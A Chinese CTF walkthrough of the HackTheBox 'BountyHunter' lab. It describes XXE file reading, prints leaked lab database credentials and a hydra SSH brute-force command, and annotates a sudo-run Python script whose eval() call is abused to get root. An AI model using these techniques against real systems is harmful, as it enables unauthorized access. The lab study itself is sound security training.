|
感谢群友@rural老哥的投稿,感谢分享 。在这篇文章详细记录了他打“HackTheBox-BountyHunter”靶场的整个过程,希望大家能够从中有所收获。
首先用nmap扫描靶机开放了那些端口和服务
22就不爆破了,来访问80端口试试
点着点着就来到了一个页面
随便试了一下,开始抓包
Data是一串被编码的字符串他是先用的bases64加密之后在用url编码加密,解出来之后是个xml的实体
这个就是试试xml实体注入了
xml实体注入,先把代码写出来在加密之后发送给服务器
-
第1行是一个 XML 文档声明,告诉解析器这是一个 XML 文件。
-
第2-4行是 DTD,调用了一个外部实体,将本机 test.txt 文件的内容赋值给实体test。此处造成了XML实体注入攻击。
-
最后一行是输出实体的值
在编码之后发送给服务器
这样就证明了xml实体注入的存在,而且获取到了passwd文件知道了服务器的用户名,这里陷入了僵局,不知道咋办了,在看了教程之后明白了要读取db.php看名字就和数据库有关
返回了一串加密字符串我们解密看看
是个连接数据库的php代码
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
用密码尝试登录admin和test用户没有成功,我门在passwd里面获得了用户名可以用这个密码爆破一波
┌──(root💀kali)-[/tools]
└─# cut -d : -f 1 passwd.txt >user
得到用户名文本user,现在用hydra爆破用户名
┌──(root💀kali)-[/tools]
└─# hydra -L /tools/user -p m19RoAU0hP41A1sTsq6K 10.10.11.100 ssh
爆破成功得到用户名密码
[22][ssh] host: 10.10.11.100 login: development password: m19RoAU0hP41A1sTsq6K
登录服务器查看权限
普通用户权限,尝试提权
sudo -l 之后发现它可以无密执行一个python文件和python3.8的环境,我们打开文件看看是一个python脚本
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):\\判断文件是否是md后缀
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:\\判断文件第一行是否是# Skytrain Inc
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:\\同上
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):\\判断__Ticket Code:__在第几行
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):\\判断地四行开头是否有**
return False
ticketCode = x.replace("**", "").split("+")[0]\\取这一行**和+中间的数字
if int(ticketCode) % 7 == 4:\\ ticketCode和7取余等于4
validationNumber = eval(x.replace("**", ""))\\用eval()执行**后面的命令
print(validationNumber)
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):\\判断result是否为ture
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
这里我对代码进行了注释,方便理解,我们构造一个asd.md文件
这里使and后面的执行等于falsh从而给代码返回1414是的函数return一个true
我们在kali监听并在靶机执行脚本
成功返回root权限的shell,之后获取flag,取得胜利!!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论